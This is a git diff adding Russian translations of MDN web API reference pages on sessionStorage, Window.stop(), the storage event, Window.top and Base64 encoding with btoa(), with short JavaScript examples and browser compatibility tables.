+<p><code><font face="Open Sans, Arial, sans-serif">Свойство </font>sessionStorage</code> позволяет получить доступ к объекту {{domxref("Storage")}} текущей сессии. Свойство sessionStorage очень похоже на свойство {{domxref("Window.localStorage")}}, единственное различие заключается в том, что все данные, сохраненные в localStorage не имеют определенного времени жизни, а данные в sessionStorage очищаются в момент окончания сессии текущий страницы. Сессия страницы остается активной все время пока окно браузера открыто и сохраняется между перезагрузками страниц. <strong>Открытие той же страницы в новом окне браузера или новой вкладке приводит к созданию новой сессии страницы, </strong>что отличается от поведения session cookies<strong>.</strong></p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">// Сохранение данных в sessionStorage
+sessionStorage.setItem('key', 'value');
+
+// Получение данных из sessionStorage
+var data = sessionStorage.getItem('key');</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Объект типа {{domxref("Storage")}}.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Следующий код получает доступ к объекту {{domxref("Storage")}}  текущией сессии домена и добавляет данные в него используя {{domxref("Storage.setItem()")}}.</p>
+
+<pre class="brush: js">sessionStorage.setItem('myCat', 'Tom');</pre>
+
+<p>Следующий пример автоматически сохраняет содержимое текстового поля. Если страница случайно будет обновлена значение  текстового поля будет восстановлено. Таким образом ничего из введенного пользователем не потеряется даже в этом случае.</p>
+
+<pre class="brush: js">// Получаем ссылку на текстовое поле,
+// изменение которого будем отслеживать.
+var field = document.getElementById("field");
+
+// Проверяем наличие значения 'autosave'
+// (это может произойти только если страница будет случайно обновлена)
+if (sessionStorage.getItem("autosave")) {
+  // Восстанавливаем содержимое текстового поля
+  field.value = sessionStorage.getItem("autosave");
+}
+
+// Отслеживаем все изменения в текстовом поле
+field.addEventListener("change", function() {
+  // И сохраняем их в объект session storage
+  sessionStorage.setItem("autosave", field.value);
+});</pre>
+
+<p> </p>
+
+<div class="note">
+<p><strong>Замечание</strong>: Обратитесь к статье <a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Using the Web Storage API</a>, чтобы изучить полный пример.</p>
+</div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Замечание</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Storage', '#the-sessionstorage-attribute', 'sessionStorage')}}</td>
+   <td>{{Spec2('Web Storage')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>localStorage</td>
+   <td>4</td>
+   <td>3.5</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>sessionStorage</td>
+   <td>5</td>
+   <td>2</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>8</td>
+   <td>11</td>
+   <td>iOS 3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Все браузеры имеют разный уровень поддержки как localStorage так и sessionStorage. Здесь вы можете посмотреть <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">detailed rundown of all the storage capacities for various browsers</a>.</p>
+
+<div class="note">
+<p><strong>Замечание: </strong>начиная с iOS 5.1, Safari Mobile сохраняет данные из localStorage в специальную папку, которая может быть случайно очищена по просьбе системы, обычно это происходит, когда заканчивается место.</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Using the Web Storage API</a></li>
+ <li>{{domxref("Window.localStorage")}}</li>
+</ul>
diff --git a/files/ru/web/api/window/stop/index.html b/files/ru/web/api/window/stop/index.html
new file mode 100644
index 0000000000..6e79508b29
--- /dev/null
+++ b/files/ru/web/api/window/stop/index.html
@@ -0,0 +1,45 @@
+---
+title: Window.stop()
+slug: Web/API/Window/stop
+translation_of: Web/API/Window/stop
+---
+<div> {{APIRef}}</div>
+
+<h2 id="Summary" name="Summary">Анотация</h2>
+
+<p>Этот метод прекращает загрузку страницы.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">window.stop()
+</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">window.stop();
+</pre>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+
+<p>Метод stop() равноценный клику кнопки стоп в браузере. Из-за порядка в котором загружаются скрипты, этот метод не может остановить загрузку документа в котором он вызывается, но он остановит загрузку больших картинок, новых окон и остальных объектов загрузка которых отложена.</p>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','browsers.html#dom-window-stop','Window.stop()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>Метод stop() не поддерживается в Internet Explorer.</p>
diff --git a/files/ru/web/api/window/storage_event/index.html b/files/ru/web/api/window/storage_event/index.html
new file mode 100644
index 0000000000..c110f571ca
--- /dev/null
+++ b/files/ru/web/api/window/storage_event/index.html
@@ -0,0 +1,82 @@
+---
+title: storage
+slug: Web/API/Window/storage_event
+translation_of: Web/API/Window/storage_event
+---
+<p>Событие <code>storage </code>сигнализирует,  что данные в объектах <code>localStorage</code> или <code>sessionStorage были </code>изменены.  Подробнее см. <a href="/en-US/docs/Web/API/Web_Storage_API">Web Storage API</a>.</p>
+
+<h2 id="Общая_информация">Общая информация</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Specification</dt>
+ <dd style="margin: 0 0 0 120px;"><em><a class="external" href="http://www.w3.org/TR/webstorage/#the-storage-event">Web Storage</a></em></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("StorageEvent")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Target</dt>
+ <dd style="margin: 0 0 0 120px;">DefaultView (<code>&lt;window&gt;</code>)</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Default Action</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+  <tr>
+   <td><code>key</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}} (string)</td>
+   <td>The key being changed.</td>
+  </tr>
+  <tr>
+   <td><code>oldValue</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}} (string)</td>
+   <td>The old value of the key being changed.</td>
+  </tr>
+  <tr>
+   <td><code>newValue</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}} (string)</td>
+   <td>The new value of the key being changed.</td>
+  </tr>
+  <tr>
+   <td><code>url</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}} (string)</td>
+   <td>The address of the document whose key changed.</td>
+  </tr>
+  <tr>
+   <td><code>storageArea</code> {{readonlyInline}}</td>
+   <td>{{domxref("Storage")}}</td>
+   <td>The Storage object that was affected.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/api/window/top/index.html b/files/ru/web/api/window/top/index.html
new file mode 100644
index 0000000000..5d1bf9db04
--- /dev/null
+++ b/files/ru/web/api/window/top/index.html
@@ -0,0 +1,99 @@
+---
+title: Window.top
+slug: Web/API/Window/top
+translation_of: Web/API/Window/top
+---
+<div>{{APIRef}}</div>
+
+<p>Возвращает ссылку на корневое окно в иерархии окон.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <var>topWindow</var> = window.top;
+</pre>
+
+<h2 id="Примечание">Примечание</h2>
+
+<p>Если свойство {{domxref("window.parent")}} возвращает ссылку именно на родительское окно текущего окна, то  <code>window.top</code> возвращает ссылку на самое верхнее окно в текущей иерархии окон.</p>
+
+<p>Это свойство полезно, когда вы имеете дело с окном (фреймом), которое находится в подкадре родителя или родителей, и вы хотите получить ссылку на верхний уровень всего набора окон.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'browsers.html#dom-top', 'window.top')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'browsers.html#dom-top', 'window.top')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Starting in Gecko 6.0 {{geckoRelease("6.0")}}, this property is read only, as defined by the standard.</p>
diff --git a/files/ru/web/api/windowbase64/base64_encoding_and_decoding/index.html b/files/ru/web/api/windowbase64/base64_encoding_and_decoding/index.html
new file mode 100644
index 0000000000..b85f3671ef
--- /dev/null
+++ b/files/ru/web/api/windowbase64/base64_encoding_and_decoding/index.html
@@ -0,0 +1,138 @@
+---
+title: Кодирование и декодирование в формате Base64
+slug: Web/API/WindowBase64/Base64_encoding_and_decoding
+translation_of: Glossary/Base64
+---
+<p><strong>Base64</strong> - это группа cхожих <a href="https://en.wikipedia.org/wiki/Binary-to-text_encoding">binary-to-text encoding</a> схем, которые представляют двоичные данные в ASCII-формате методом перевода в radix-64 представление. Термин <em>Base64</em> происходит от a specific <a href="https://en.wikipedia.org/wiki/MIME#Content-Transfer-Encoding">MIME content transfer encoding</a>.</p>
+
+<p>Кодирование Base64 широко используется в случаях, когда требуется перекодировать двоичные данные для передачи по каналу приспособленному для передачи текстовых данных. Это делается с целью защиты двоичных данных от любых возможных повреждений при передаче. Base64 широко используется во многих приложениях, включая электронную почту (<a href="https://en.wikipedia.org/wiki/MIME">MIME</a>), и при сохранении больших объёмов данных в <a href="/en-US/docs/XML">XML</a>.</p>
+
+<p>В языке JavaScript существуют две функции, для кодирования и декодирования данных в/из формат Base64 соответственно:</p>
+
+<ul>
+ <li>{{domxref("WindowBase64.btoa","btoa()")}}</li>
+ <li>{{domxref("WindowBase64.atob","atob()")}}</li>
+</ul>
+
+<p><code><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Функция </span></font>atob()</code> декодирует Base64-кодированную строку. В противоположность ей, функция <code>btoa()</code> создаёт Base64 кодированную ASCII строку из "строки" бинарных данных.</p>
+
+<p>Обе функции <code>atob()</code> и <code>btoa()</code> работают со строками. Если вам необходимо работать с <a href="/en-US/docs/Web/API/ArrayBuffer"><code>ArrayBuffers</code></a>, обратитесь к <a href="#">этому параграфу</a>.</p>
+
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h2 class="Documentation" id="Documentation" name="Documentation">Документация</h2>
+
+    <dl>
+     <dt><a href="https://developer.mozilla.org/en-US/docs/data_URIs" title="https://developer.mozilla.org/en-US/docs/data_URIs"><code>data</code> URIs</a></dt>
+     <dd><small><code>data</code> URIs, описанные в <a class="external" href="http://tools.ietf.org/html/rfc2397" title="http://tools.ietf.org/html/rfc2397">RFC 2397</a>, позволяют создателям контента встроить в документ маленькие файлы в виде строки (инлайном).</small></dd>
+     <dt><a href="https://en.wikipedia.org/wiki/Base64" title="https://en.wikipedia.org/wiki/Base64">Base64</a></dt>
+     <dd><small>Wikipedia article about Base64 encoding.</small></dd>
+     <dt>{{domxref("WindowBase64.atob","atob()")}}</dt>
+     <dd><small>Decodes a string of data which has been encoded using base-64 encoding.</small></dd>
+     <dt>{{domxref("WindowBase64.btoa","btoa()")}}</dt>
+     <dd><small>Creates a base-64 encoded ASCII string from a "string" of binary data.</small></dd>
+     <dt><a href="#The_Unicode_Problem">The "Unicode Problem"</a></dt>
+     <dd><small>In most browsers, calling <code>btoa()</code> on a Unicode string will cause a <code>Character Out Of Range</code> exception. This paragraph shows some solutions.</small></dd>
+     <dt><a href="/en-US/docs/URIScheme" title="/en-US/docs/URIScheme">URIScheme</a></dt>
+     <dd><small>List of Mozilla supported URI schemes</small></dd>
+     <dt><a href="/en-US/docs/Web/JavaScript/Typed_arrays/StringView" title="/en-US/docs/Web/JavaScript/Typed_arrays/StringView"><code>StringView</code></a></dt>
+     <dd>In this article is published a library of ours whose aims are:
+     <ul>
+      <li>creating a <a class="external" href="http://en.wikipedia.org/wiki/C_%28programming_language%29" title="http://en.wikipedia.org/wiki/C_%28programming_language%29">C</a>-like interface for strings (i.e. array of characters codes —<a href="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBufferView" title="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBufferView"> <code>ArrayBufferView</code></a> in JavaScript) based upon the JavaScript <a href="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBuffer" title="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBuffer"><code>ArrayBuffer</code></a> interface,</li>
+      <li>creating a collection of methods for such string-like objects (since now: <code>stringView</code>s) which work <strong>strictly on array of numbers</strong> rather than on immutable JavaScript strings,</li>
+      <li>working with other Unicode encodings, different from default JavaScript's UTF-16 <a href="/en-US/docs/Web/API/DOMString" title="/en-US/docs/Web/API/DOMString"><code>DOMString</code></a>s,</li>
+     </ul>
+     </dd>
+    </dl>
+
+    <p><span class="alllinks"><a href="/en-US/docs/tag/Base64">View All...</a></span></p>
+   </td>
+   <td>
+    <h2 class="Tools" id="Tools" name="Tools">Tools</h2>
+
+    <ul>
+     <li><a href="#Solution_2_–_rewrite_the_DOMs_atob()_and_btoa()_using_JavaScript's_TypedArrays_and_UTF-8">Rewriting <code>atob()</code> and <code>btoa()</code> using <code>TypedArray</code>s and UTF-8</a></li>
+     <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays/StringView" title="/en-US/docs/Web/JavaScript/Typed_arrays/StringView"><code>StringView</code> – a C-like representation of strings based on typed arrays</a></li>
+    </ul>
+
+    <p><span class="alllinks"><a href="/en-US/docs/tag/Base64">View All...</a></span></p>
+
+    <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Related Topics</h2>
+
+    <ul>
+     <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBuffer"><code>ArrayBuffer</code></a></li>
+     <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays">Typed arrays</a></li>
+     <li><code><a href="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBufferView">ArrayBufferView</a></code></li>
+     <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays/Uint8Array"><code>Uint8Array</code></a></li>
+     <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Typed_arrays/StringView" title="/en-US/docs/Web/JavaScript/Typed_arrays/StringView"><code>StringView</code> – a C-like representation of strings based on typed arrays</a></li>
+     <li><a href="/en-US/docs/Web/API/DOMString" title="/en-US/docs/Web/API/DOMString"><code>DOMString</code></a></li>
+     <li><a href="/en-US/docs/URI" title="/en-US/docs/URI"><code>URI</code></a></li>
+     <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURI" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURI"><code>encodeURI()</code></a></li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="The_Unicode_Problem">The "Unicode Problem"</h2>
+
+<p>Since <a href="/en-US/docs/Web/API/DOMString" title="/en-US/docs/Web/API/DOMString"><code>DOMString</code></a>s are 16-bit-encoded strings, in most browsers calling <code>window.btoa</code> on a Unicode string will cause a <code>Character Out Of Range</code> exception if a character exceeds the range of a 8-bit byte (0x00~0xFF). There are two possible methods to solve this problem:</p>
+
+<ul>
+ <li>the first one is to escape the whole string (with UTF-8, see {{jsxref("encodeURIComponent")}}) and then encode it;</li>
+ <li>the second one is to convert the UTF-16 <a href="/en-US/docs/Web/API/DOMString" title="/en-US/docs/Web/API/DOMString"><code>DOMString</code></a> to an UTF-8 array of characters and then encode it.</li>
+</ul>
+
+<p>Here are the two possible methods.</p>
+
+<h3 id="Solution_1_–_escaping_the_string_before_encoding_it">Solution #1 – escaping the string before encoding it</h3>
+
+<pre class="brush:js">function b64EncodeUnicode(str) {
+    // first we use encodeURIComponent to get percent-encoded UTF-8,
+    // then we convert the percent encodings into raw bytes which
+    // can be fed into btoa.
+    return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g,
+        function toSolidBytes(match, p1) {
+            return String.fromCharCode('0x' + p1);
+    }));
+}
+
+b64EncodeUnicode('✓ à la mode'); // "4pyTIMOgIGxhIG1vZGU="
+b64EncodeUnicode('\n'); // "Cg=="
+</pre>
+
+<p>To decode the Base64-encoded value back into a String:</p>
+
+<pre class="brush: js">function b64DecodeUnicode(str) {
+    // Going backwards: from bytestream, to percent-encoding, to original string.
+    return decodeURIComponent(atob(str).split('').map(function(c) {
+        return '%' + ('00' + c.charCodeAt(0).toString(16)).slice(-2);
+    }).join(''));
+}
+
+b64DecodeUnicode('4pyTIMOgIGxhIG1vZGU='); // "✓ à la mode"
+b64DecodeUnicode('Cg=='); // "\n"
+</pre>
+
+<p><a href="https://github.com/coolaj86/unibabel-js">Unibabel</a> implements common conversions using this strategy.</p>
+
+<h3 id="Solution_2_–_rewrite_the_DOMs_atob_and_btoa_using_JavaScripts_TypedArrays_and_UTF-8">Solution #2 – rewrite the DOMs <code>atob()</code> and <code>btoa()</code> using JavaScript's <code>TypedArray</code>s and UTF-8</h3>
+
+<p>Use a <a href="/en-US/docs/Web/API/TextEncoder">TextEncoder</a> polyfill such as <a href="https://github.com/inexorabletash/text-encoding">TextEncoding</a> (also includes legacy windows, mac, and ISO encodings), <a href="https://github.com/coolaj86/TextEncoderLite">TextEncoderLite</a>, combined with a <a href="https://github.com/feross/buffer">Buffer</a> and a Base64 implementation such as <a href="https://github.com/beatgammit/base64-js">base64-js</a>.</p>
+
+<p>When a native <code>TextEncoder</code> implementation is not available, the most light-weight solution would be to use <a href="https://github.com/coolaj86/TextEncoderLite">TextEncoderLite</a> with <a href="https://github.com/beatgammit/base64-js">base64-js</a>. Use the browser implementation when you can.</p>
+
+<p>The following function implements such a strategy. It assumes base64-js imported as <code>&lt;script type="text/javascript" src="base64js.min.js"/&gt;</code>. Note that TextEncoderLite only works with UTF-8.</p>
+
+<pre class="brush: js">function Base64Encode(str, encoding = 'utf-8') {
+    var bytes = new (TextEncoder || TextEncoderLite)(encoding).encode(str);
+    return base64js.fromByteArray(bytes);
+}
+
+function Base64Decode(str, encoding = 'utf-8') {
+    var bytes = base64js.toByteArray(str);
+    return new (TextDecoder || TextDecoderLite)(encoding).decode(bytes);
+}
+</pre>
diff --git a/files/ru/web/api/windowbase64/btoa/index.html b/files/ru/web/api/windowbase64/btoa/index.html
new file mode 100644
index 0000000000..06b76a6304
--- /dev/null
+++ b/files/ru/web/api/windowbase64/btoa/index.html
@@ -0,0 +1,141 @@
+---
+title: WindowBase64.btoa()
+slug: Web/API/WindowBase64/btoa
+translation_of: Web/API/WindowOrWorkerGlobalScope/btoa
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>Создает ASCII строку закодированную в base-64 из "строки" бинарных данных.</p>
+
+<p>Будьте внимательней этот способ не подходит для <a href="http://www.unicode.org/standard/WhatIsUnicode.html">Unicode</a> строк! Описание работы с Unicode в секции ниже.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var encodedData = window.btoa(<em>stringToEncode</em>);</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush:js">var encodedData = window.btoa("Hello, world"); // encode a string
+var decodedData = window.atob(encodedData); // decode the string
+</pre>
+
+<h2 id="Замечания">Замечания</h2>
+
+<p>Вы можете воспользоваться этим способом, чтобы избежать проблем при передаче данных через сетевое соединение. Для этого нужно перекодировать данные в base64 и отправить их, и на другой стороне с помощью метода <code>{{domxref("WindowBase64.atob","window.atob()")}}</code> декодировать полученные данные в исходный вид. Например, вы можете перекодировать управляющие символы ASCII с 0 до 31.</p>
+
+<p><code>btoa()</code> также доступна для XPCOM компонентов реализованных в JavaScript, даже если <a href="/en-US/docs/DOM/window" title="DOM/window"><code>window</code></a> не является глобальным объектом в компонентах.</p>
+
+<h2 id="Строки_Юникод">Строки Юникод</h2>
+
+<p>В большинстве браузеров, вызов <code>window.btoa()</code> на Unicode строке выбросит исключение Character Out Of Range (Символ вне допустимого диапазона).</p>
+
+<p>Чтобы избежать этого, воспользуйтесь патерном, предложеным <a class="external" href="http://ecmanaut.blogspot.com/2006/07/encoding-decoding-utf8-in-javascript.html" title="http://ecmanaut.blogspot.com/2006/07/encoding-decoding-utf8-in-javascript.html">Johan Sundström</a>:</p>
+
+<pre class="brush:js">function utf8_to_b64(str) {
+    return window.btoa(unescape(encodeURIComponent(str)));
+}
+
+function b64_to_utf8(str) {
+    return decodeURIComponent(escape(window.atob(str)));
+}
+
+// Usage:
+utf8_to_b64('✓ à la mode'); // JTI1dTI3MTMlMjUyMCUyNUUwJTI1MjBsYSUyNTIwbW9kZQ==
+b64_to_utf8('JTI1dTI3MTMlMjUyMCUyNUUwJTI1MjBsYSUyNTIwbW9kZQ=='); // "✓ à la mode"
+
+utf8_to_b64('I \u2661 Unicode!'); // SSUyNTIwJTI1dTI2NjElMjUyMFVuaWNvZGUlMjUyMQ==
+b64_to_utf8('SSUyNTIwJTI1dTI2NjElMjUyMFVuaWNvZGUlMjUyMQ=='); // "I ♡ Unicode!"
+
+</pre>
+
+<p>Более правильный и производительный способ - это конвертировать <a href="/en-US/docs/Web/API/DOMString" title="/en-US/docs/Web/API/DOMString"><code>DOMString</code></a> в UTF-8 строку передав <a href="/en-US/docs/Web/JavaScript/Typed_arrays" title="/en-US/docs/Web/JavaScript/Typed_arrays">typed arrays</a>. Как это сделать узнать можно здесь<strong> <a href="/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding#Solution_.232_.E2.80.93_rewriting_atob()_and_btoa()_using_TypedArrays_and_UTF-8" title="/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding#Solution_.232_.E2.80.93_rewriting_atob()_and_btoa()_using_TypedArrays_and_UTF-8">в этом параграфе</a></strong>.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-windowbase64-btoa', 'WindowBase64.btoa()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change since the latest snapshot, {{SpecName("HTML5.1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', '#dom-windowbase64-btoa', 'WindowBase64.btoa()')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "#dom-windowbase64-btoa", "WindowBase64.btoa()")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. Creation of <code>WindowBase64</code> (properties where on the target before it).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1)}}[1]</td>
+   <td>10</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] <code>btoa()</code> также доступна для XPCOM компонентов реализованных в JavaScript, даже если <a href="/en-US/docs/DOM/window" title="DOM/window"><code>window</code></a> не является глобальным объектом в компонентах.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/Web/API/WindowBase64/Base64_encoding_and_decoding">Base64 encoding and decoding</a></li>
+ <li><a href="/en-US/docs/data_URIs"><code>data</code> URIs</a></li>
+ <li>{{domxref("WindowBase64.atob","window.atob()")}}</li>
+ <li><a href="/en-US/docs/Components.utils.importGlobalProperties">Components.utils.importGlobalProperties</a></li>
+</ul>
diff --git a/files/ru/web/api/windowbase64/index.html b/files/ru/web/api/windowbase64/index.html
new file mode 100644
index 0000000000..40051820b4
--- /dev/null
+++ b/files/ru/web/api/windowbase64/index.html
@@ -0,0 +1,120 @@
+---
+title: WindowBase64
+slug: Web/API/WindowBase64
+tags:
+  - API
+  - HTML-DOM
+  - Helper
+  - NeedsTranslation
+  - TopicStub
+  - WindowBase64
+translation_of: Web/API/WindowOrWorkerGlobalScope
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p>The <code><strong>WindowBase64</strong></code> helper contains utility methods to convert data to and from base64, a binary-to-text encoding scheme. For example it is used in <a href="/en-US/docs/data_URIs">data URIs</a>.</p>
+
+<p>There is no object of this type, though the context object, either the {{domxref("Window")}} for regular browsing scope, or the {{domxref("WorkerGlobalScope")}}  for workers, implements it.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>This helper neither defines nor inherits any properties.</em></p>
+
